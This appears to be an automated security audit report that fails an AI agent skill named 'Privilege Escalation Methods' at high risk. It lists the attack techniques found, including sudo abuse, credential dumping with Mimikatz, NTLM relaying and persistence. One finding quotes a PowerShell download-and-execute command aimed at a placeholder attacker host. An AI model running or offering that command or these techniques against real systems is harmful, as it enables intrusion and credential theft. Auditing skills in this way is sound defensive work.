Privilege Escalation Methods
Fail
Audited by Gen Agent Trust Hub on Nov 10, 2026
Risk Level: HIGHPRIVILEGE_ESCALATIONDATA_EXFILTRATIONREMOTE_CODE_EXECUTIONPERSISTENCECOMMAND_EXECUTIONEXTERNAL_DOWNLOADSCREDENTIALS_UNSAFE
Full Analysis
- [PRIVILEGE_ESCALATION]: The skill provides explicit, step-by-step instructions for gaining root or administrator access. This includes exploiting Sudo misconfigurations (GTFOBins), Linux capabilities (cap_setuid), NFS root squashing, and Windows token impersonation (SeImpersonatePrivilege).
- [DATA_EXFILTRATION]: Contains commands to access and exfiltrate highly sensitive data, such as private SSH keys (
/root/.ssh/id_rsa), the Active Directory database (ntds.dit), and the Windows SYSTEM hive. It also includes methods for LLMNR poisoning and NTLM relaying to capture user hashes. - [REMOTE_CODE_EXECUTION]: Provides patterns for remote script execution, specifically a PowerShell command to download and execute code from an external URL:
powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'. - [PERSISTENCE]: Instructions are included to maintain access to a compromised system using scheduled tasks (
schtasks) on Windows and malicious cron jobs on Linux. - [COMMAND_EXECUTION]: Lists numerous high-risk command-line sequences for binary exploitation, service abuse, and Group Policy Object (GPO) manipulation to create unauthorized administrative accounts.
- [EXTERNAL_DOWNLOADS]: The skill relies on and encourages the use of various external hacking tools (Mimikatz, Rubeus, Impacket, Responder, SweetPotato) from unverified sources.
- [CREDENTIALS_UNSAFE]: Includes commands and examples for dumping credentials from memory and the LSA vault using Mimikatz.
Recommendations
- AI detected serious security threats
Audit Metadata